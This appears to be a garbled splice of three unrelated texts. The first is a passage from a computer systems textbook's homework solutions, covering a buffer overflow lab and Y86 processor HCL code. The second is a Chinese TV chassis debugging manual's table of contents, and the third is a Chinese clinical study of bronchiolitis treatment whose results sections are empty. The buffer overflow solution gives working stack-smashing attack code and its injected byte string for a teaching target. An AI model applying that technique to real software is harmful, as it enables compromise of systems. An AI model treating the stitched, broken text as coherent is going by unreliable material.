newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
调试资料机芯:8M05版本号:VER1.0创维集团研究院第二研究所2012-06-25批准审核:马万乐拟制:唐章琪目录一综述...................................................... - 3 -二软件烧录和升级............................................ - 4 -1 需要烧写程序的IC............................................................................................................ - 4 -2 生产线需要的工具和软件................................................................................................. - 4 -3 烧写主程序......................................................................................................................... -4 -4 烧写HDMI-KEY和防窜货条码 .................................................................................... - 10 -5 DEBUG升级软件............................................................................................................. - 11 -三工厂参数设置............................................. - 17 -1 工厂特殊菜单(状态)................................................................................................... - 17 -2 进入方式........................................................................................................................... - 17 -3 详细功能........................................................................................................................... - 17 -四生产线需增加的检测项..................................... - 19 -1 白平衡调整....................................................................................................................... - 19 -2 搜台检测........................................................................................................................... - 19 -3 3C工艺检测................................................................................................................... - 19 -4 上电之前电压检测........................................................................................................... - 19 -5 出厂设置........................................................................................................................... - 20 -一综述8M05机芯硬件系统由主板(主板包含屏T_CON部分的电路)、电源板(或需外加恒流板)、接收板和键控板(指示灯包含在接收板中)组成;可以支持1366*768和1920*1080的液晶屏。
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氧气驱动雾化吸入5%高渗盐水及爱全乐治疗小儿毛细支气管炎临床效果分析
作者:盖壮健
来源:《中国医药科学》2013年第09期
[摘要] 目的探讨对于小儿毛细支气管炎采用氧气驱动雾化吸入5%高渗盐水及爱全乐来治疗的临床效果。
方法收集本院儿科2011年1月~2012年1月所收治的97例毛细支气管炎患儿临床资料,随机分为治疗组与对照组,治疗组50例,对照组47例,两组患者均在吸氧、补液、维持水电解质酸碱平衡、改善呼吸功能等综合治疗基础之上进行,对照组采用0.9%氯化钠溶液与沙丁胺醇注射液配比液体进行雾化吸入,3次/d,治疗组采用氧气驱动雾化吸入5%氯化钠溶液剂爱全乐,用药次数同对照组,连续应用7 d,记录两组患儿治疗前后的气道阻力、呼气时间/呼吸总时间值、功能残气量,并进行比较,以及临床症状、体征持续时间、住院时间、总治愈率。
结果治疗组其肺功能改善情况、降低气道阻力、症状体征消失时间、住院时间、总治愈率均明显优于对照组,差异具有统计学意义(P
[关键词] 毛细支气管炎;氧气驱动;雾化吸入;爱全乐;5%高渗盐水
[中图分类号] R725.6 [文献标识码] B [文章编号] 2095-0616(2013)09-88-03
毛细支气管炎是临床上儿科比较常见的呼吸系统疾病,常见于2岁以下的婴幼儿,尤以1~6个月内的小婴儿最为多见[1],其是由细菌或者病毒引起的肺部毛细支气管的感染性病变,表现为发作性的憋喘,在肺部听诊可闻及明显的哮鸣音,严重者可发生呼吸衰竭、心力衰竭而出现死亡,因此引起学者广泛关注此病。
引起毛细支气管炎病最为主要的病原体是呼吸道合胞病毒(RSV),研究发现,RSV可占所有病原体的80%或者更多[2],由于病毒性疾病多有自限性,其主要的治疗方案是在控制感染的同时,给予对症支持治疗,改善其憋喘的症状,现在广为应用的博利康尼、布地奈德雾化吸入方案效果不甚理想,本院采用氧气驱动雾化吸入5%高渗盐水及爱全乐进行来治疗小儿毛细支气管炎,取得了较好的效果,现报道如下。
1 资料与方法
1.1 一般资料
1.2 治疗方法
两组患儿均在相同的综合治疗基础上进行,综合治疗包括抗感染、静脉补液、维持水电解质酸碱平衡、吸氧、祛痰、解痉平喘,必要时使用强心、利尿、扩血管等药物,均采用同种型号的医用雾化吸入机,对照组雾化吸入液由0.9%氯化钠溶液3 mL与硫酸沙丁胺醇注射液1 mL组成,治疗组雾化吸入液由5%高渗氯化钠溶液3 mL与爱全乐1 mL组成。
所有患儿均在
入院后1 h内开始雾化吸入治疗,3次/d,每次雾化结束后均常规给予拍背并吸痰,连续应用7 d。
两组患儿均在治疗前后用BABY BOD婴儿体描箱(德国耶格公司)测量肺功能,主要包括吸气时间/呼吸时间值(tI/tT)、每千克体重功能残气量(FRC/kg)、气道阻力(Reff)等。
1.3 观察指标
观察两组患儿的肺功能改善、气道阻力、临床症状、体征持续时间、住院时间、总治愈率。
1.4 疗效判定[3]
1.5 统计学处理
2 结果
3 讨论
毛细支气管炎是一种临床上比较常见的下呼吸道感染性疾病,其主要发生在2.5岁以下的小儿,根据统计显示,约有80%者发生在1岁以内,而多数是在6个月以下的小儿罹患[4]。
毛细支气管炎主要累及的病变部位在肺内部的直径约75~300μm的细小支气管[5],即俗称的毛细支气管,这是因为与成人相比较,其毛细支气管内径更加狭小,同等程度的感染所造成小气道黏膜水肿及上皮细胞脱落,在成年人中可进入上一级支气管,然后汇入主支气管、气管排出体外,但是在婴幼儿中则会造成堵塞,影响气流的通过[6];另外,由于毛细支气管本身管壁肌肉较少同时菲薄,黏膜纤毛运动传输系统功能不够完善,在婴幼儿中更是如此,不能够将分泌物排出,从而加重了气道阻塞[7]。
引起毛细支气管炎的病原体很多,多种呼吸道病原体均可以导致此病,但是最为主要的病变体是呼吸道合胞病毒(RSV),可占总数的80%以上,其次主要为腺病毒、副流感病毒、鼻病毒、流感病毒等。
毛细支气管炎属于传染性疾病,可造成流行性发病,根据我国记录[8],建国后70年代在南方农村曾先后发生过3次,80年代在山西运城,90年代在在天津、北京地区流行,因此人们对其有着充分的认识。
病毒感染后,造成毛细支气管内细胞水肿,黏液分泌物增加,随着细胞缺氧的加重出现上皮细胞坏死,坏死细胞及崩解产物堵塞了毛细支气管,引起临床症状。
典型的毛细支气管炎在感染发生后2~3 d出现发热,呈低、中度发热,然后出现持续性的干咳并伴有发作性的憋喘,这是其主要特点,随着憋喘的严重程度增加,会伴有气急,严重者可达60~80次/min,并伴有呼气性喘鸣音及呼气相的延长。
严重的患儿表现为明显的鼻翼扇动及“三凹征”,脸色苍白,口周紫绀,患儿烦躁不安,如不及时救治,可合并有呼吸衰竭、心力衰竭然后死亡。
毛细支气管炎选用治疗方案应当从以下3个方面入手:第一是病原学治疗,应用抗病毒及相应抗生素控制感染,这是对因治疗;第二为缓解临床症状,如吸氧、解痉、祛痰等,达到改
善患儿通气、换气的目的;第三,抗炎治疗,即应用糖皮质激素等药物控制炎症的发展。
其中接触呼吸道的阻塞、改善通气、控制憋喘是最为关键的一点。
雾化吸入是对于婴幼儿最为简便,容易操作及实现的治疗方法,但是对于雾化吸入液的组成有许多选择,常用的多为生理盐水与布地奈德或者硫酸他不他林的组合,但此种方案起效仍不够迅速。
有多项研究发现采用3%的高渗盐水或者联合支气管扩张剂来进行雾化吸入能够明显减轻患儿的症状,并缩短住院的时间,这是因为高渗盐水在雾化吸入后,能够增加气道表层的厚度[9],从而减轻黏膜上皮的水肿,改善了黏膜纤毛的运动能力,提高了气道黏液的转运率。
而爱全乐其主要成份为异丙托溴铵,是一季胺类的抗胆碱能药物,能够特异性地抑制迷走神经,阻断支气管平滑肌的M1胆碱受体与乙酰胆碱的结合,从而使支气管平滑肌松弛,并且还具有减轻气道黏膜水肿、减少痰液分泌,保证气道通畅的作用。
而采用氧气驱动雾化吸入亦具有以下优点:(1)可以使雾化微粒直径维持在3~5μm,并在气道黏膜上得以沉积,并不增加气道的阻力;(2)氧气的动力可以使更多的药物进入肺部发挥作用,研究表明,氧气驱动后约有50%~60%的药物通过喉、气管到达肺部;(3)吸入氧气后可以缓解因为小气道梗阻而产生的缺氧症状[10];(4)经过湿化的氧气吸入后有着稀释痰液的作用,使之便于排出,缓解呼吸困难的症状;(5)具有治疗时间短的优势,更利于婴幼儿的应用。
本组实验中选用氧气驱动雾化吸入5%的高渗盐水及爱全乐来治疗小儿毛细支气管炎的治疗组其肺功能改善情况、降低气道阻力、症状体征消失时间、住院时间、总治愈率均明显优于对照组,表明此种方案具有较好的疗效。
综上所述,对于小儿毛细支气管炎采用氧气驱动雾化吸入5%高渗盐水及爱全乐进行治疗临床效果确切,同时操作方便,用药低廉,不会增加患儿家庭的经济负担,是一种符合药物经济学的方案。
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(收稿日期:2013-04-22)。